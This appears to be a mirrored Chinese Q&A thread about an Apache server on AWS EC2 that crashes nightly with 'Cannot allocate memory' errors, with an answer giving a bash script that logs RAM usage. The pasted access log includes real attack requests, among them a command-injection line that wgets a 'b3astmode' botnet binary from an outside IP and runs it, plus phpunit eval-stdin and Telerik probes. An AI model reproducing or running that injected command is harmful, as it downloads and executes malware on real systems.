无法分配内存错误和网页崩溃

【问题标题】：Cannot allocate memory error and web crash无法分配内存错误和网页崩溃
【发布时间】：2021-02-05 15:52:00
【问题描述】：

我们在 EC2 实例 (AWS) 中有一个 Web。 我们的网络正在遭受失败。服务器不会倒下。 http、ssh 服务...崩溃。 乍一看，它看起来像 Apache，系统内存不足：“

[mpm_prefork:error] [pid 2899] (12)Cannot allocate memory: AH00159: fork: Unable to fork new process" (web_error_log)

当网络崩溃时，我们在 Amazon Cloud watch 中看到 CPU Utilization Average 图表呈表格状，我附上截图。（Amazon CPU Usage）

总是在晚上，凌晨 3 点左右，没有人使用网络，跌倒。 我们有 1G RAM 和 memory_limit = 128M Nagios 告诉我们这个（我不知道是否重要）：

SWAP CRITICAL - 0% free (0 MB out of 0 MB) - Swap is either disabled, not present, or of zero size.

亚马逊 CPU 使用率

在这段时间（23:55 - 03:20）

ssl_access_log

178.208.166.133 - - [19/Oct/2020:23:39:59 +0200] "GET /phpmyadmin/ HTTP/1.1" 404 209
178.208.166.133 - - [19/Oct/2020:23:39:59 +0200] "GET /phpMyAdmin/ HTTP/1.1" 404 209
178.208.166.133 - - [19/Oct/2020:23:39:59 +0200] "GET / HTTP/1.1" 200 3369
102.165.30.49 - - [20/Oct/2020:00:10:50 +0200] "GET / HTTP/1.1" 200 3369
193.118.53.202 - - [20/Oct/2020:01:19:12 +0200] "GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1" 404 228
183.136.225.45 - - [20/Oct/2020:04:02:21 +0200] "GET / HTTP/1.0" 400 362
2.136.160.156 - - [20/Oct/2020:09:39:50 +0200] "GET / HTTP/1.1" 200 3369

ssl_request_log：

[19/Oct/2020:23:39:59 +0200] 178.208.166.133 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpMyAdmin/ HTTP/1.1" 209
[19/Oct/2020:23:39:59 +0200] 178.208.166.133 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3369
[20/Oct/2020:00:10:50 +0200] 102.165.30.49 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3369
[20/Oct/2020:01:19:12 +0200] 193.118.53.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1" 228
[20/Oct/2020:04:02:21 +0200] 183.136.225.45 - - "GET / HTTP/1.0" 362
[20/Oct/2020:09:39:50 +0200] 2.136.160.156 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3369

web_error_log：

[Tue Oct 20 03:12:00.122498 2020] [mpm_prefork:error] [pid 2899] (12)Cannot allocate memory: AH00159: fork: Unable to fork new process
[Tue Oct 20 04:03:07.837056 2020] [mpm_prefork:error] [pid 2899] (12)Cannot allocate memory: AH00159: fork: Unable to fork new process
[Tue Oct 20 04:07:30.822234 2020] [mpm_prefork:error] [pid 2899] (12)Cannot allocate memory: AH00159: fork: Unable to fork new process
[Tue Oct 20 04:08:21.534903 2020] [mpm_prefork:error] [pid 2899] (12)Cannot allocate memory: AH00159: fork: Unable to fork new process
[Tue Oct 20 04:09:31.736715 2020] [mpm_prefork:error] [pid 2899] (12)Cannot allocate memory: AH00159: fork: Unable to fork new process
[Tue Oct 20 04:10:39.043487 2020] [mpm_prefork:error] [pid 2899] (12)Cannot allocate memory: AH00159: fork: Unable to fork new process
[Tue Oct 20 04:16:00.165502 2020] [mpm_prefork:error] [pid 2899] (12)Cannot allocate memory: AH00159: fork: Unable to fork new process
[Tue Oct 20 04:23:48.986368 2020] [mpm_prefork:error] [pid 2899] (12)Cannot allocate memory: AH00159: fork: Unable to fork new process
[Tue Oct 20 04:25:01.464174 2020] [mpm_prefork:error] [pid 2899] (12)Cannot allocate memory: AH00159: fork: Unable to fork new process
[Tue Oct 20 04:26:38.149851 2020] [mpm_prefork:error] [pid 2899] (12)Cannot allocate memory: AH00159: fork: Unable to fork new process
[Tue Oct 20 04:30:02.114841 2020] [mpm_prefork:error] [pid 2899] (12)Cannot allocate memory: AH00159: fork: Unable to fork new process
[Tue Oct 20 04:38:04.779030 2020] [mpm_prefork:error] [pid 2899] (12)Cannot allocate memory: AH00159: fork: Unable to fork new process
[Tue Oct 20 04:40:23.967185 2020] [mpm_prefork:error] [pid 2899] (12)Cannot allocate memory: AH00159: fork: Unable to fork new process
[Tue Oct 20 04:40:51.077174 2020] [mpm_prefork:error] [pid 2899] (12)Cannot allocate memory: AH00159: fork: Unable to fork new process
[Tue Oct 20 04:41:19.227287 2020] [mpm_prefork:error] [pid 2899] (12)Cannot allocate memory: AH00159: fork: Unable to fork new process
[Tue Oct 20 04:41:58.513432 2020] [mpm_prefork:error] [pid 2899] (12)Cannot allocate memory: AH00159: fork: Unable to fork new process
[Tue Oct 20 04:42:20.778768 2020] [mpm_prefork:error] [pid 2899] (12)Cannot allocate memory: AH00159: fork: Unable to fork new process
[Tue Oct 20 04:43:15.363218 2020] [mpm_prefork:error] [pid 2899] (12)Cannot allocate memory: AH00159: fork: Unable to fork new process
[Tue Oct 20 04:44:03.016940 2020] [mpm_prefork:error] [pid 2899] (12)Cannot allocate memory: AH00159: fork: Unable to fork new process
[Tue Oct 20 04:45:25.196583 2020] [mpm_prefork:error] [pid 2899] (12)Cannot allocate memory: AH00159: fork: Unable to fork new process
[Tue Oct 20 04:46:15.618371 2020] [mpm_prefork:error] [pid 2899] (12)Cannot allocate memory: AH00159: fork: Unable to fork new process
[Tue Oct 20 04:47:23.739557 2020] [mpm_prefork:error] [pid 2899] (12)Cannot allocate memory: AH00159: fork: Unable to fork new process
[Tue Oct 20 04:48:42.363260 2020] [mpm_prefork:error] [pid 2899] (12)Cannot allocate memory: AH00159: fork: Unable to fork new process
[Tue Oct 20 04:50:22.488445 2020] [mpm_prefork:error] [pid 2899] (12)Cannot allocate memory: AH00159: fork: Unable to fork new process
[Tue Oct 20 04:52:14.776093 2020] [mpm_prefork:error] [pid 2899] (12)Cannot allocate memory: AH00159: fork: Unable to fork new process
[Tue Oct 20 04:54:33.111498 2020] [mpm_prefork:error] [pid 2899] (12)Cannot allocate memory: AH00159: fork: Unable to fork new process
[Tue Oct 20 04:55:43.965691 2020] [mpm_prefork:error] [pid 2899] (12)Cannot allocate memory: AH00159: fork: Unable to fork new process
[Tue Oct 20 04:57:41.343653 2020] [mpm_prefork:error] [pid 2899] (12)Cannot allocate memory: AH00159: fork: Unable to fork new process
[Tue Oct 20 04:58:38.572778 2020] [mpm_prefork:error] [pid 2899] (12)Cannot allocate memory: AH00159: fork: Unable to fork new process
[Tue Oct 20 05:00:03.216522 2020] [mpm_prefork:error] [pid 2899] (12)Cannot allocate memory: AH00159: fork: Unable to fork new process
[Tue Oct 20 05:02:46.993336 2020] [mpm_prefork:error] [pid 2899] (12)Cannot allocate memory: AH00159: fork: Unable to fork new process
[Tue Oct 20 05:04:13.273265 2020] [mpm_prefork:error] [pid 2899] (12)Cannot allocate memory: AH00159: fork: Unable to fork new process
[Tue Oct 20 09:38:58.388404 2020] [suexec:notice] [pid 2920] AH01232: suEXEC mechanism enabled (wrapper: /usr/sbin/suexec)

access_log：

127.0.0.1 - - [19/Oct/2020:23:23:53 +0200] "GET / HTTP/1.0" 200 3369
127.0.0.1 - - [19/Oct/2020:23:28:53 +0200] "GET / HTTP/1.0" 200 3369
209.17.96.130 - - [19/Oct/2020:23:31:48 +0200] "GET / HTTP/1.0" 200 3369
127.0.0.1 - - [19/Oct/2020:23:33:53 +0200] "GET / HTTP/1.0" 200 3369
127.0.0.1 - - [19/Oct/2020:23:38:53 +0200] "GET / HTTP/1.0" 200 3369
127.0.0.1 - - [19/Oct/2020:23:43:53 +0200] "GET / HTTP/1.0" 200 3369
127.0.0.1 - - [19/Oct/2020:23:48:53 +0200] "GET / HTTP/1.0" 200 3369
127.0.0.1 - - [19/Oct/2020:23:53:53 +0200] "GET / HTTP/1.0" 200 3369
127.0.0.1 - - [19/Oct/2020:23:58:53 +0200] "GET / HTTP/1.0" 200 3369
127.0.0.1 - - [20/Oct/2020:00:03:53 +0200] "GET / HTTP/1.0" 200 3369
127.0.0.1 - - [20/Oct/2020:00:08:53 +0200] "GET / HTTP/1.0" 200 3369
127.0.0.1 - - [20/Oct/2020:00:13:53 +0200] "GET / HTTP/1.0" 200 3369
127.0.0.1 - - [20/Oct/2020:00:18:53 +0200] "GET / HTTP/1.0" 200 3369
127.0.0.1 - - [20/Oct/2020:00:23:53 +0200] "GET / HTTP/1.0" 200 3369
127.0.0.1 - - [20/Oct/2020:00:28:53 +0200] "GET / HTTP/1.0" 200 3369
91.244.114.171 - - [20/Oct/2020:00:32:28 +0200] "GET / HTTP/1.1" 200 3369
127.0.0.1 - - [20/Oct/2020:00:33:53 +0200] "GET / HTTP/1.0" 200 3369
127.0.0.1 - - [20/Oct/2020:00:38:53 +0200] "GET / HTTP/1.0" 200 3369
127.0.0.1 - - [20/Oct/2020:00:43:53 +0200] "GET / HTTP/1.0" 200 3369
127.0.0.1 - - [20/Oct/2020:00:48:53 +0200] "GET / HTTP/1.0" 200 3369
127.0.0.1 - - [20/Oct/2020:00:53:53 +0200] "GET / HTTP/1.0" 200 3369
127.0.0.1 - - [20/Oct/2020:00:58:53 +0200] "GET / HTTP/1.0" 200 3369
... 
... (continue)
...
193.27.228.27 - - [20/Oct/2020:01:41:15 +0200] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 248
127.0.0.1 - - [20/Oct/2020:01:43:53 +0200] "GET / HTTP/1.0" 200 3369
127.0.0.1 - - [20/Oct/2020:01:48:53 +0200] "GET / HTTP/1.0" 200 3369
127.0.0.1 - - [20/Oct/2020:01:53:53 +0200] "GET / HTTP/1.0" 200 3369
127.0.0.1 - - [20/Oct/2020:01:58:53 +0200] "GET / HTTP/1.0" 200 3369
185.39.11.105 - - [20/Oct/2020:01:59:26 +0200] "GET http://example.com/ HTTP/1.1" 200 3369
127.0.0.1 - - [20/Oct/2020:02:03:53 +0200] "GET / HTTP/1.0" 200 3369
59.36.160.84 - - [20/Oct/2020:04:02:20 +0200] "GET /shell?cd+/tmp;rm+-rf+*;wget+192.210.239.115/beastmode/b3astmode.arm7;chmod+777+/tmp/b3astmode.arm7;sh+/tmp/b3astmode.arm7+BeastMode.Rep.Jaws HTTP/1.1" 408 221
202.166.196.46 - - [20/Oct/2020:04:02:20 +0200] "GET / HTTP/1.1" 408 221
193.27.228.27 - - [20/Oct/2020:04:02:20 +0200] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 408 221
213.202.223.223 - - [20/Oct/2020:04:41:48 +0200] "GET / HTTP/1.1" 408 221
127.0.0.1 - - [20/Oct/2020:09:40:50 +0200] "GET / HTTP/1.0" 200 3369
::1 - - [20/Oct/2020:09:44:24 +0200] "OPTIONS * HTTP/1.0" 200 -
::1 - - [20/Oct/2020:09:44:49 +0200] "OPTIONS * HTTP/1.0" 200 -
::1 - - [20/Oct/2020:09:44:56 +0200] "OPTIONS * HTTP/1.0" 200 -
127.0.0.1 - - [20/Oct/2020:09:45:50 +0200] "GET / HTTP/1.0" 200 3369

  • 我怎样才能知道是什么导致了 CPU 性能的提高，然后网络崩溃了？

  • 是攻击还是编程不当的 php 脚本浪费了 ram 内存？

  • 如何在晚上记录 ram 使用情况以及记录哪些进程？

谢谢

【问题讨论】：

  • 比从你的日志文件中随机摘录更重要的是错误周围的那些——在 Apache 晕倒之前是否有任何请求？该服务器上是否还有其他可能会积累内存的服务，例如备份工具？

标签： php apache amazon-ec2


【解决方案1】：

这是您第三个问题的解决方案，

简单的 Bash 脚本，它将每隔 5 秒记录一次 RAM 使用情况，并保存在主目录的文本文件中。

Memory_recorder.sh

#!/bin/bash
while :
do
   date >> ~/memory_info.txt
   free -h >> ~/memory_info.txt
   echo "===========================================================" >> ~/memory_info.txt
   sleep 5

done

执行脚本的命令

bash /path_of_script_file/Memory_recorder.sh

为此打开一个屏幕并执行此脚本并分离屏幕（如果您不知道屏幕的用法，请告诉我，我将据此更新我的答案。）

确保执行查询的屏幕必须处于运行阶段

这个脚本的输出会是这样的

Thu 22 Oct 2020 05:24:42 PM UTC
              total        used        free      shared  buff/cache   available
Mem:          7.8Gi       544Mi       6.2Gi       1.0Mi       1.0Gi       7.0Gi
Swap:         767Mi        53Mi       714Mi
===========================================================
Thu 22 Oct 2020 05:24:47 PM UTC
              total        used        free      shared  buff/cache   available
Mem:          7.8Gi       547Mi       6.2Gi       1.0Mi       1.0Gi       7.0Gi
Swap:         767Mi        53Mi       714Mi
===========================================================
Thu 22 Oct 2020 05:24:52 PM UTC
              total        used        free      shared  buff/cache   available
Mem:          7.8Gi       544Mi       6.2Gi       1.0Mi       1.0Gi       7.0Gi
Swap:         767Mi        53Mi       714Mi
===========================================================
Thu 22 Oct 2020 05:24:57 PM UTC
              total        used        free      shared  buff/cache   available
Mem:          7.8Gi       540Mi       6.2Gi       1.0Mi       1.0Gi       7.0Gi
Swap:         767Mi        53Mi       714Mi
===========================================================

如果你想在后台执行这个脚本，只需在命令末尾添加 & 就像这样

bash /path_of_script_file/Memory_recorder.sh &

它将打印该命令的进程ID。

当你想杀死这个进程时

Step-1：获取脚本的进程ID

 ps aux | grep Memory_recorder.sh

输出会是这样的

ubuntu     2008  0.0  0.0   6776  3448 pts/2    S<   17:52   0:00 bash Memory_recorder.sh
ubuntu     2024  0.0  0.0   6208   816 pts/2    S<+  17:52   0:00 grep --color=auto Memory_recorder.sh

这里的 2008 是 Memory_recorder.sh bash 脚本的进程 ID

第 2 步：使用进程 ID 终止进程

kill 2008

输出会是这样的

[1]+  Terminated              bash Memory_recorder.sh

小建议：也分配一些 SWAP 内存。 （我不确定它是否有效，但你应该试一试）

【讨论】：

  • 如果你想获得 CPU 性能，这里是一个按进程 ID ps -eo pid,ppid,cmd,%mem,%cpu --sort=-%cpu | head 的最高 CPU 使用率命令替换为 free -h。
猜你喜欢
  • 1970-01-01
  • 2018-03-29
  • 2010-11-14
  • 1970-01-01
  • 2016-10-09
  • 2015-08-08
  • 1970-01-01
  • 2017-09-18
  • 2013-09-16
相关资源
最近更新 更多
热门标签
Java Python linux javascript Mysql C# Docker 算法 前端 SpringBoot Redis Vue spring 设计模式 .net core .net kubernetes c++ 数据库 数据结构 大数据 js 机器学习 微服务 Android Go 程序员 面试 JVM ASP.net core 云原生 人工智能 后端 PHP git CSS golang k8s Nginx Django mybatis 深度学习 多线程 React 架构 devops 爬虫 云计算 Spring Boot LeetCode